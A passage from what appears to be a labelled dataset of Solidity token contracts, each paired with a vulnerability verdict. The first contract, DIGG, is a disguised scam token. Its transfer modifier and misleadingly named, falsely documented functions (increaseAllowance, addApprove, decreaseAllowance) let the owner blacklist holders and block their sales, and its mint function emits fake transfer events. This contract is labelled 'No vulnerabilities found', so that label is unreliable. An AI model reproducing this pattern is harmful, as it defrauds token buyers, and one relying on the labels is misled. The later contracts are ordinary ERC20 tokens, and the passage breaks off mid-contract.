// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DIGG is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, 500*(10**18));
_mint(0x394DCfbCf25C5400fcC147EbD9970eD34A474543, 250*(10**18));//
_mint(0x19d099670a21bC0a8211a89B84cEdF59AbB4377F, 250*(10**18));//
_mint(0x4441776e6A5D61fA024A5117bfc26b953Ad1f425, 500*(10**18));//
_mint(0x7e7E112A68d8D2E221E11047a72fFC1065c38e1a, 250*(10**18));//
_mint(0x5E79958EfbB8AFdeDB6EC7107110F329e4EAfffA, 250*(10**18));//
_mint(0xDA25ee226E534d868f0Dd8a459536b03fEE9079b, (2000)*(10**18)); //Badger DEPLOYER
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | No vulnerabilities found |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'CPL' 'Capella' token contract
//
// Symbol : CPL
// Name : Capella
// Total supply: 2,000,000,000.000000000000
// Decimals : 12
//
// Enjoy.
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial CPL supply
// ----------------------------------------------------------------------------
contract CPLToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function CPLToken() public {
symbol = "CPL";
name = "Capella";
decimals = 12;
_totalSupply = 2000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.21;
contract EIP20Interface {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) public view returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
// solhint-disable-next-line no-simple-event-func-name
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract EIP20 is EIP20Interface {
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show.
string public symbol; //An identifier: eg SBX
constructor() public {
uint256 _initialAmount = 1 * 10**28;
balances[msg.sender] = _initialAmount; // Give the creator all initial tokens
totalSupply = _initialAmount; // Update total supply
name = "GameRoot Token"; // Set the name for display purposes
decimals = 18; // Amount of decimals for display purposes
symbol = "GR"; // Set the symbol for display purposes
emit Transfer(address(0), msg.sender, _initialAmount); //solhint-disable-line indent, no-unused-vars
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
emit Transfer(_from, _to, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function () public payable {
revert();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity 0.4.24;
contract ERC20Interface {
function symbol()
public
view
returns (string memory);
function name()
public
view
returns (string memory);
function decimals()
public
view
returns (uint8);
function totalSupply()
public
view
returns (uint256);
function balanceOf(
address _address)
public
view
returns (uint256 balance);
function allowance(
address _address,
address _to)
public
view
returns (uint256 remaining);
function transfer(
address _to,
uint256 _value)
public
returns (bool success);
function approve(
address _to,
uint256 _value)
public
returns (bool success);
function transferFrom(
address _from,
address _to,
uint256 _value)
public
returns (bool success);
event Transfer(
address indexed _from,
address indexed _to,
uint256 _value
);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _value
);
}
contract Owned {
address owner;
address newOwner;
uint32 transferCount;
event TransferInitiated(
address indexed _from,
address indexed _to
);
event TransferOwnership(
address indexed _from,
address indexed _to
);
constructor() public {
owner = msg.sender;
transferCount = 0;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(
address _newOwner)
public
onlyOwner
{
newOwner = _newOwner;
emit TransferInitiated(
msg.sender,
newOwner
);
}
function getOwner()
public
view
returns (address)
{
return owner;
}
function viewTransferCount()
public
view
onlyOwner
returns (uint32)
{
return transferCount;
}
function isTransferPending()
public
view
returns (bool) {
require(
msg.sender == owner ||
msg.sender == newOwner);
return newOwner != address(0);
}
function acceptOwnership()
public
{
require(msg.sender == newOwner);
owner = newOwner;
newOwner = address(0);
transferCount++;
emit TransferOwnership(
owner,
newOwner
);
}
}
library SafeMath {
function add(
uint256 a,
uint256 b)
internal
pure
returns(uint256 c)
{
c = a + b;
require(c >= a);
}
function sub(
uint256 a,
uint256 b)
internal
pure
returns(uint256 c)
{
require(b <= a);
c = a - b;
}
function mul(
uint256 a,
uint256 b)
internal
pure
returns(uint256 c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(
uint256 a,
uint256 b)
internal
pure
returns(uint256 c) {
require(b > 0);
c = a / b;
}
}
contract ApproveAndCallFallBack {
function receiveApproval(
address _from,
uint256 _value,
address token,
bytes data)
public
returns (bool success);
}
contract Pausable is Owned {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title ERC1132 interface
* @dev see https://github.com/ethereum/EIPs/issues/1132
*/
contract ERC1132 {
/**
* @dev Reasons why a user's tokens have been locked
*/
mapping(address => bytes32[]) public lockReason;
/**
* @dev locked token structure
*/
struct lockToken {
uint256 amount;
uint256 validity;
bool claimed;
}
/**
* @dev Holds number & validity of tokens locked for a given reason for
* a specified address
*/
mapping(address => mapping(bytes32 => lockToken)) public locked;
/**
* @dev Records data of all the tokens Locked
*/
event Locked(
address indexed _of,
bytes32 indexed _reason,
uint256 _amount,
uint256 _validity
);
/**
* @dev Records data of all the tokens unlocked
*/
event Unlocked(
address indexed _of,
bytes32 indexed _reason,
uint256 _amount
);
/**
* @dev Locks a specified amount of tokens against an address,
* for a specified reason and time
* @param _reason The reason to lock tokens
* @param _amount Number of tokens to be locked
* @param _time Lock time in seconds
*/
function lock(bytes32 _reason, uint256 _amount, uint256 _time)
public returns (bool);
/**
* @dev Returns tokens locked for a specified address for a
* specified reason
*
* @param _of The address whose tokens are locked
* @param _reason The reason to query the lock tokens for
*/
function tokensLocked(address _of, bytes32 _reason)
public view returns (uint256 amount);
/**
* @dev Returns tokens locked for a specified address for a
* specified reason at a specific time
*
* @param _of The address whose tokens are locked
* @param _reason The reason to query the lock tokens for
* @param _time The timestamp to query the lock tokens for
*/
function tokensLockedAtTime(address _of, bytes32 _reason, uint256 _time)
public view returns (uint256 amount);
/**
* @dev Returns total tokens held by an address (locked + transferable)
* @param _of The address to query the total balance of
*/
function totalBalanceOf(address _of)
public view returns (uint256 amount);
/**
* @dev Extends lock for a specified reason and time
* @param _reason The reason to lock tokens
* @param _time Lock extension time in seconds
*/
function extendLock(bytes32 _reason, uint256 _time)
public returns (bool);
/**
* @dev Increase number of tokens locked for a specified reason
* @param _reason The reason to lock tokens
* @param _amount Number of tokens to be increased
*/
function increaseLockAmount(bytes32 _reason, uint256 _amount)
public returns (bool);
/**
* @dev Returns unlockable tokens for a specified address for a specified reason
* @param _of The address to query the the unlockable token count of
* @param _reason The reason to query the unlockable tokens for
*/
function tokensUnlockable(address _of, bytes32 _reason)
public view returns (uint256 amount);
/**
* @dev Unlocks the unlockable tokens of a specified address
* @param _of Address of user, claiming back unlockable tokens
*/
function unlock(address _of)
public returns (uint256 unlockableTokens);
/**
* @dev Gets the unlockable tokens of a specified address
* @param _of The address to query the the unlockable token count of
*/
function getUnlockableTokens(address _of)
public view returns (uint256 unlockableTokens);
}
contract Token is ERC20Interface, Owned, Pausable, ERC1132 {
using SafeMath for uint256;
string public symbol;
string public name;
uint8 public decimals;
uint256 public _totalSupply;
string internal constant ALREADY_LOCKED = 'Tokens already locked';
string internal constant NOT_LOCKED = 'No tokens locked';
string internal constant AMOUNT_ZERO = 'Amount can not be 0';
/* always capped by 1B tokens */
uint256 internal constant MAX_TOTAL_SUPPLY = 1000000000;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
mapping(address => uint256) incomes;
mapping(address => uint256) expenses;
constructor()
public
{
symbol = 'MPLGR';
name = 'Pledge Finance';
decimals = 18;
_totalSupply = 0;
}
function symbol() public view returns (string memory) {
return symbol;
}
function name() public view returns (string memory) {
return name;
}
function decimals() public view returns (uint8) {
return decimals;
}
function totalSupply()
public
view
returns (uint256)
{
return _totalSupply;
}
function _transfer(
address _from,
address _to,
uint256 _value)
internal
returns (bool success)
{
require (_to != 0x0);
require (balances[_from] >= _value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
incomes[_to] = incomes[_to].add(_value);
expenses[_from] = expenses[_from].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function transfer(
address _to,
uint256 _value)
public
whenNotPaused
returns (bool success)
{
return _transfer(msg.sender, _to, _value);
}
function approve(
address _spender,
uint256 _value)
public
whenNotPaused
returns (bool success)
{
require (_spender != 0x0);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value)
public
whenNotPaused
returns (bool success)
{
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
return _transfer(_from, _to, _value);
}
function balanceOf(
address _address)
public
view
returns (uint256 remaining)
{
require(_address != 0x0);
return balances[_address];
}
function incomeOf(
address _address)
public
view
returns (uint256 income)
{
require(_address != 0x0);
return incomes[_address];
}
function expenseOf(
address _address)
public
view
returns (uint256 expense)
{
require(_address != 0x0);
return expenses[_address];
}
function allowance(
address _owner,
address _spender)
public
view
returns (uint256 remaining)
{
require(_owner != 0x0);
require(_spender != 0x0);
return allowed[_owner][_spender];
}
function approveAndCall(
address _spender,
uint256 _value,
bytes _data)
public
whenNotPaused
returns (bool success)
{
if (approve(_spender, _value)) {
require(ApproveAndCallFallBack(_spender).receiveApproval(msg.sender, _value, this, _data) == true);
return true;
}
return false;
}
function mint(
uint256 amount)
public
onlyOwner
returns (bool success)
{
uint256 newSupply = _totalSupply + amount;
require(newSupply <= MAX_TOTAL_SUPPLY.mul(10 ** uint256(decimals)));
_totalSupply = newSupply;
balances[owner] = balances[owner].add(amount);
emit Transfer(address(0), owner, amount);
return true;
}
function burn(
uint256 amount)
public
whenNotPaused
returns (bool success)
{
require (balances[msg.sender] >= amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(msg.sender, address(0), amount);
return true;
}
function lock(
bytes32 _reason,
uint256 _amount,
uint256 _time)
public
whenNotPaused
returns (bool)
{
uint256 validUntil = now.add(_time); //solhint-disable-line
// If tokens are already locked, then functions extendLock or
// increaseLockAmount should be used to make any changes
require(tokensLocked(msg.sender, _reason) == 0, ALREADY_LOCKED);
require(_amount != 0, AMOUNT_ZERO);
if (locked[msg.sender][_reason].amount == 0)
lockReason[msg.sender].push(_reason);
transfer(address(this), _amount);
locked[msg.sender][_reason] = lockToken(_amount, validUntil, false);
emit Locked(msg.sender, _reason, _amount, validUntil);
return true;
}
function transferWithLock(address _to, bytes32 _reason, uint256 _amount, uint256 _time)
public
whenNotPaused
returns (bool)
{
uint256 validUntil = now.add(_time); //solhint-disable-line
require(tokensLocked(_to, _reason) == 0, ALREADY_LOCKED);
require(_amount != 0, AMOUNT_ZERO);
if (locked[_to][_reason].amount == 0)
lockReason[_to].push(_reason);
transfer(address(this), _amount);
locked[_to][_reason] = lockToken(_amount, validUntil, false);
emit Locked(_to, _reason, _amount, validUntil);
return true;
}
function tokensLocked(address _of, bytes32 _reason)
public
view
returns (uint256 amount)
{
